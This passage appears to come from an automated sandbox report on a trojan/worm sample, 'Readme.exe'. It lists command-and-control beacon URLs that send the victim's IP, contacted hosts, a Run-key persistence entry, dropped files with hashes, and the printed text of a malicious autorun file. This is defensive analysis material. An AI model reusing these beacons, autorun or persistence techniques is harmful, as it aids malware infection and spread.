hwenrqmmmh.net	unknown	unknown	true		unknown
mnwqmqhrsh.in	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://eqprsrnprs.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://emqewenpsh.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: safe	unknown
http://reaaheeara.org/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: safe	unknown
http://wpqqhhspps.in/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://ennmqsmqna.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://ehrawpsrms.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://rrnpamehwa.org/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: safe	unknown
http://emhmmwaasa.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://aanparshnh.com/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://aspamphaqh.com/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: safe	unknown
http://aaesrmawah.com/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: safe	unknown
http://eshmhnprpa.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://empewsqsqa.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://emnhnawmen.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://aharwhphnh.com/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://ansenhrann.com/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: safe	unknown
http://eqrrmhhwhh.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: safe	unknown
http://emrmmpsarh.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://aaawpshran.com/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: safe	unknown
http://eqsnewshhn.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: safe	unknown
http://aewrhprres.com/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://awhhsqness.com/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: safe	unknown
http://asnrrsamsa.com/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://erphseshhh.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://rsrsemnren.org/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://rrhaerswna.org/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: safe	unknown
http://eqnhphnqms.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://ehqapshmqs.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://ehnwnaqnss.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://ersaenrnwh.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: malware	unknown
http://qamaahmnen.info/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.google.com	smnss.exe, 00000001.00000000.530226920.000000000061C000.00000004.00000010.00020000.00000000.sdmp, smnss.exe, 00000001.00000002.539910360.000000000061C000.00000004.00000010.00020000.00000000.sdmp	false		high
https://parking.bodiscdn.com	smnss.exe, 00000001.00000000.530226920.000000000061C000.00000004.00000010.00020000.00000000.sdmp, smnss.exe, 00000001.00000002.539910360.000000000061C000.00000004.00000010.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
81.17.29.150	aanparshnh.com	Switzerland	51852	PLI-ASCH	true
104.47.59.138	alumni-caltech-edu.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.157.26	unknown	United States	15169	GOOGLEUS	false
85.187.148.2	gzip.org	United States	55293	A2HOSTINGUS	false
217.69.139.150	mxs.mail.ru	Russian Federation	47764	MAILRU-ASMailRuRU	false
94.100.180.31	unknown	Russian Federation	47764	MAILRU-ASMailRuRU	false
173.194.76.27	unknown	United States	15169	GOOGLEUS	false
142.250.150.26	unknown	United States	15169	GOOGLEUS	false
198.252.153.129	mx1.riseup.net	United States	16652	RISEUPUS	false
142.250.150.27	alt3.gmail-smtp-in.l.google.com	United States	15169	GOOGLEUS	false
142.250.147.27	unknown	United States	15169	GOOGLEUS	false
142.250.147.26	alt2.gmail-smtp-in.l.google.com	United States	15169	GOOGLEUS	false
81.17.29.147	aspamphaqh.com	Switzerland	51852	PLI-ASCH	true
81.17.29.149	aewrhprres.com	Switzerland	51852	PLI-ASCH	true
74.125.140.26	unknown	United States	15169	GOOGLEUS	false
72.5.161.12	qamaahmnen.info	United States	14636	INTERNAP-BLK4US	true
74.125.140.27	gmail-smtp-in.l.google.com	United States	15169	GOOGLEUS	false
209.51.188.92	eggs.gnu.org	United States	22989	FREEASINFREEDOMUS	false
142.251.5.27	aspmx.l.google.com	United States	15169	GOOGLEUS	false
74.125.200.26	alt4.gmail-smtp-in.l.google.com	United States	15169	GOOGLEUS	false
142.250.141.27	unknown	United States	15169	GOOGLEUS	false
104.47.66.10	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
74.125.200.27	unknown	United States	15169	GOOGLEUS	false
81.17.29.146	rsrsemnren.org	Switzerland	51852	PLI-ASCH	true
173.194.202.27	unknown	United States	15169	GOOGLEUS	false
81.17.18.195	aaesrmawah.com	Switzerland	51852	PLI-ASCH	true
74.125.133.27	unknown	United States	15169	GOOGLEUS	false
199.59.243.222	rrhaerswna.org	United States	395082	BODIS-NJUS	true
192.187.111.221	awhhsqness.com	United States	33387	NOCIXUS	true
81.17.18.196	aharwhphnh.com	Switzerland	51852	PLI-ASCH	true
142.250.153.27	alt1.aspmx.l.google.com	United States	15169	GOOGLEUS	false
64.70.19.203	emrmmpsarh.ws	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	true
142.250.153.26	unknown	United States	15169	GOOGLEUS	false
142.250.157.27	unknown	United States	15169	GOOGLEUS	false
64.233.167.27	unknown	United States	15169	GOOGLEUS	false
63.251.126.10	wpqqhhspps.in	United States	14636	INTERNAP-BLK4US	true
104.47.55.138	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	734265
Start date and time:	2022-10-31 12:18:32 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Readme.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.spre.troj.spyw.evad.winEXE@22/13@557/38
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 78.3% (good quality ratio 49.9%) Quality average: 46.4% Quality standard deviation: 41.5%
HCA Information:	Successful, ratio: 99% Number of executed functions: 88 Number of non-executed functions: 109
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.89.179.12
Excluded domains from analysis (whitelisted): blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, watson.telemetry.microsoft.com, onedsblobprdcus17.centralus.cloudapp.azure.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
12:19:25	API Interceptor	36x Sleep call for process: Readme.exe modified
12:19:30	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run ctfmen C:\Windows\system32\ctfmen.exe
12:21:19	API Interceptor	1x Sleep call for process: WerFault.exe modified

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_smnss.exe_8f6ecf3e6fcf8bffa370ddc9fbddaaa68dbd754e_e99d7581_13931629\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9344489402626414
Encrypted:	false
SSDEEP:	96:QvzFThGaFhM1Dg3fDUpXIQcQvc6QcEDMcw3DSWP+HbHg/oJAnQ0DFInGexnvKckr:QbXG/HBUZMXQj7h4uY/u7skS274It2
MD5:	90E292336AFF0A9CB78A8E0E76B8C04B
SHA1:	B3F1DE7C29027DE1DAA064259A3ACC61A8DE9162
SHA-256:	11AFBD3398EC647A11783E354697A31011013C9C7C6EAE73DD50FCF0A335337E
SHA-512:	3FBAE30C29727D8AC16F2D39536F33D4911D872E108E9DECB522ADA9AA1808B1BBFE6DA4DEDC8D42A9E46EDAA9B6AE2080AB6DBCBB1388F9D13D107FC3BF1BE7
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.1.1.7.1.7.6.7.6.6.2.3.8.8.4.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.1.1.7.1.7.6.7.8.2.8.0.1.3.1.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.2.a.9.e.a.2.6.-.d.e.4.8.-.4.9.8.9.-.a.c.d.9.-.2.1.5.4.2.4.4.1.a.4.2.3.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.2.e.0.d.3.9.d.-.b.f.f.8.-.4.d.6.d.-.8.0.0.a.-.d.a.0.d.9.d.d.6.8.d.9.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.s.m.n.s.s...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.5.7.4.-.0.0.0.1.-.0.0.1.9.-.a.9.3.c.-.8.2.b.0.5.d.e.d.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.1.2.b.7.8.f.9.d.8.a.9.9.e.8.7.4.e.e.0.0.d.c.f.1.0.e.c.3.7.2.6.a.0.0.0.0.f.f.f.f.!.0.0.0.0.2.8.7.d.7.2.9.6.8.9.5.8.5.f.e.8.5.7.4.3.0.e.9.3.5.d.9.2.7.3.f.3.2.f.9.d.6.e.3.8.!.s.m.n.s.s...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.1.9.7.0././.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA42.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Oct 31 19:21:17 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	168636
Entropy (8bit):	2.083181233873946
Encrypted:	false
SSDEEP:	1536:+kJP5vUhNqoIZSxSAuL9hTzmyUvVdAYlK:+kJh8u
MD5:	D4EA5CC7BC34371F168913B61380E347
SHA1:	729A519F2EAD5888A4E7A8F5FE58D6F390BCF208
SHA-256:	A80C484F67277CF7701C031B661F32AD25F5D7DFEFD50D567EB78FCECF9A7225
SHA-512:	FB172E173D95AE3CCBE0BA3F6682AD1743C2868CAC3245C194B6BEA3563A2FBE8015523BF7CEDE4598FBEFA875ABDC5FC4B79B21D8F9C7960198F55D7AA4D159
Malicious:	false
Reputation:	low
Preview:	MDMP....... .......- `c.........................................Q..........T.......8...........T............m...$....................... ...................................................................U...........B......L!......GenuineIntelW...........T.......t.....`c.............................0..2...............P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE2B.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8262
Entropy (8bit):	3.685751092125899
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiD969w6YIO6j/PgmfWdS6Cpry89b896pvsf5Olm:RrlsNiZ69w6YB6j/PgmfWdSpGpf9
MD5:	333C286C8D6FE5C3CFD9AF637AD16A82
SHA1:	475E5E877829F7C89ADD4AA81776A45D094E8F5E
SHA-256:	D591C53D83FFA60D740538E3182043D062AF0B6BD37A7AAAF2F15932FABBE634
SHA-512:	20D2D135C1BF6AEE888474E8A8DC03D99A2089A7D7603B6DBB3397750877E0E31B3E2A104CAE57F6203B45ADDEFB63783CCCF68F4A51C240A5548F42489FF02F
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.4.9.2.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF26.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4538
Entropy (8bit):	4.411426078653349
Encrypted:	false
SSDEEP:	48:cvIwSD8zshJgtWI9wck2Wgc8sqYj+8fm8M4J5WFk+q8vaHIg3pOd:uITfzEGgrsqYPJ5PHIg3pOd
MD5:	7A3DF12AE077FF9C3195382BBAB6DE97
SHA1:	C6D6331DAEA695DD295FAB60EC8FD3C804BC3C1E
SHA-256:	37D1CB64B0F639CD713C5DBF1489B7ADE845D128934DE0A116BBACE9C4357D71
SHA-512:	5CC250EC78BEDC45944A538281135A875D3C852594720188F2E93070CD6723168D115ABDBBA3B089D211E0D5921EB3151196A480884D80AB199CCBA914B69EAE
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1759951" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\Windows\SysWOW64\ctfmen.exe

Download File

Process:	C:\Users\user\Desktop\Readme.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4160
Entropy (8bit):	6.509571582696623
Encrypted:	false
SSDEEP:	96:LgIdSLQPZARC3dCE8Y0Jw5NL6EVwHHKg2:EswdRCNCE8YPWowHHK7
MD5:	D6F2DA9F8A296D2734248C82ADC462B4
SHA1:	AB108F47B482AA38280E383F6D81DAC372D6AEED
SHA-256:	AD386F91BEA24D072A4D5759A085B84106A59682167438C023C743F1C50888ED
SHA-512:	515277A3C8625AB567DF8CD3C5FD603B68E852F497DBDCDD7EC65B23096FD9390A92E7BDDE759850977299807F26130C2EEB347D3744F82CCE6806EF3CF4C1F0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@.......................................................................................................PE..L......................8.........`.......p........@........................................... .....................................................................................................................................................5356dabo.`..............................5x7efkmb.....p......................@...5j28hxox@.......@...................@...........!....U6..72.*S..........&.......U.....]..E.1.u...1..=....w....C=..r[.....$.1.T$>...........tz..t............FQ..]..I....~t.wJ=.....=.. ?..[=..u.c...t.Y3j..c.=.,.?.o..u...D/....v...s......JS...3[..D0(R.c.07W,e.SL.. Fm..p........'OS~.{.P$-..@.$t.,...k...E.-.D... .l.$s@@T...........d4....d...w..-...Q.....G...t. .k......@0.Q9,+....#.t(P.~......7$i....}.......l.....g...I....".&.m..X\|...7,d.;....o.O........L....!..&?.... .\|.s.%]..t&....]..?]i.\|...U...p.S..M.........8.t.B....r..9...:.

C:\Windows\SysWOW64\grcopy.dll

Download File

Process:	C:\Users\user\Desktop\Readme.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	45088
Entropy (8bit):	7.592039367088751
Encrypted:	false
SSDEEP:	768:qeMc5VwWt1jDkbXdnTOyQxHFO+IxX2P5LIbbcPYir2lAqcdF0i09syp:qq5VwWDjDkdTRqHFOn8tIbbeYiuZIFSl
MD5:	6F579EC4EA6BEBA7521B137235827184
SHA1:	287D729689585FE857430E935D9273F32F9D6E38
SHA-256:	DB1EEEC5BF68CC9F56ECB16DC9FF6141779BF5A34B2ABC00D0A681C94EDF204A
SHA-512:	F09FAF7BF86F9ADA0356804BCAC01761F39D242E2DD08FAC0EBEA44D9D03FBA79471D4AED24D5BD75167DD9E491F840AAC2482B8B1216F7A6FCBB55EEC3B74F0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@.......................................................................................................PE..L......................8.........0.......@........@........................................... .....................................................................................................................................................5c6ayarg.0..............................5b08dehf.....@......................@...5a51agoe@.......@...................@.......................................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\grcopy.dll:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Readme.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\SysWOW64\satornas.dll

Download File

Process:	C:\Users\user\Desktop\Readme.exe
File Type:	Microsoft Windows Autorun file
Category:	modified
Size (bytes):	183
Entropy (8bit):	4.904415553193762
Encrypted:	false
SSDEEP:	3:It1WN0bSX+BdNeHwcy/9RfyCtxWaFkjIjm5fHq4xm5fYTVuDdQX+BdNi/Qfn:e1WPEKCtxWaFiIS5fnU58uBCPg
MD5:	82241D9A48415031FAD8EE05EF0C6CBE
SHA1:	D7E820DD3ED8BF6DCE5D59EFB43F479F56E84AD3
SHA-256:	ADD5A114C392763B3772C758E739575703E6F150823E9B7905AC04190016C704
SHA-512:	20933EE6C58D97B0AB4E3581EB970C21F672B8651733D6FC985D138B3FA8A804D61B7562B0DD42B360F1F37682A05A65689531C8159558C66F13A3C38E12DCC1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	[autorun]..shellexecute=f852avps.exe..icon=%SystemRoot%\system32\SHELL32.dll,4..action=Open folder to view files..shell\default=Open..shell\default\command=f852avps.exe..shell=default

C:\Windows\SysWOW64\shervans.dll

Download File

Process:	C:\Users\user\Desktop\Readme.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	8704
Entropy (8bit):	6.969511779747045
Encrypted:	false
SSDEEP:	192:zh4SFyvWohE5xf6YUBSL63SUJqtMblWN:zO+ohE2B13NJqtM
MD5:	D3676211B958A305A5A085C37391C6C9
SHA1:	48058B2DEEBF934A56584E376545BAE7BA0030E3
SHA-256:	0AA503DA7F0083D95D5D5BAAD8FCF4FEF3AC41EA483E133BB7917C6E43ABB865
SHA-512:	74EFB40150090C7B294D55052B3BEED278BD7E52D56AAC2557AE9A9EC485514D95BD376EAAD8C9D5B47A244BED0BE9DA9ABCA72FD33D05804F867BF2E916086D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......K...........#...8. ..........p......................................................... .....................`...`.......`...................................................................................................................5z90fcel................................543wcamk. ..........................@...b47axeoq............................@...........!...............U....@..&.......U..S.......P...t?........'.........9.r.....t...'.....s.t&...$..$.1....$....6..X[]._V`..u......m.tG.t$lE_D$.....=[......"....1..........uG..4....uF1..e.[^]...A..f...!.+.o...y....!.. .......o.......8./;.of.p.v..U...}o...........O$.......O/.mX....].....[:..M.....=.D.T..Xs..[.4W<s/{.Gq.%...w+\|7.]..u.~&]."..{d$.....p..X... ..>...............l....#.J...6..F.W...}W.].C.t..~4...\e.....<......@.7w.}....!..)...3.......e._V ...A.].s.N..kn...CU...

C:\Windows\SysWOW64\smnss.exe

Download File

Process:	C:\Users\user\Desktop\Readme.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	45088
Entropy (8bit):	7.592039367088751
Encrypted:	false
SSDEEP:	768:qeMc5VwWt1jDkbXdnTOyQxHFO+IxX2P5LIbbcPYir2lAqcdF0i09syp:qq5VwWDjDkdTRqHFOn8tIbbeYiuZIFSl
MD5:	6F579EC4EA6BEBA7521B137235827184
SHA1:	287D729689585FE857430E935D9273F32F9D6E38
SHA-256:	DB1EEEC5BF68CC9F56ECB16DC9FF6141779BF5A34B2ABC00D0A681C94EDF204A
SHA-512:	F09FAF7BF86F9ADA0356804BCAC01761F39D242E2DD08FAC0EBEA44D9D03FBA79471D4AED24D5BD75167DD9E491F840AAC2482B8B1216F7A6FCBB55EEC3B74F0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@.......................................................................................................PE..L......................8.........0.......@........@........................................... .....................................................................................................................................................5c6ayarg.0..............................5b08dehf.....@......................@...5a51agoe@.......@...................@.......................................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\smnss.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Readme.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\SysWOW64\zipfi.dll

Download File

Process:	C:\Windows\SysWOW64\smnss.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	45206
Entropy (8bit):	7.5880131986184125
Encrypted:	false
SSDEEP:	768:neMc5VwWt1jDkbXdnTOyQxHFO+IxX2P5LIbbcPYir2lAqcdF0i09sypK:nq5VwWDjDkdTRqHFOn8tIbbeYiuZIFS+
MD5:	E17DAC40AD359CC71D240026BF803317
SHA1:	5B4D5C4C9B246354E5E6F2DB637C12D232A9168A
SHA-256:	B8990BC71E46B45670D482FA653A432DBA56051951807DB22F4C0D9CFAF9A9D7
SHA-512:	83FCB40C46D42853112DB781A37AC7F97988AD86EBAF9B94B8DDF5384BFA600C9DFF863F39BA80BD7761A26B97FC16B66075FBCC5951A419F2D00B1AD07C3CD1
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	PK........m._1..M. ... .......Readme.exeMZ......................@.......................................................................................................PE..L......................8.........0.......@........@........................................... .....................................................................................................................................................5c6ayarg.0..............................5b08dehf.....@......................@...5a51agoe@.......@...................@.......................................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\zipfiaq.dll

Download File

Process:	C:\Windows\SysWOW64\smnss.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	45202
Entropy (8bit):	7.587882636526924
Encrypted:	false
SSDEEP:	768:seMc5VwWt1jDkbXdnTOyQxHFO+IxX2P5LIbbcPYir2lAqcdF0i09syp1:sq5VwWDjDkdTRqHFOn8tIbbeYiuZIFSR
MD5:	9D019DFFBEFB7509B515BC1C4D2225B4
SHA1:	EB3C5B44F21984061C082A750DDA1720C2A9F81B
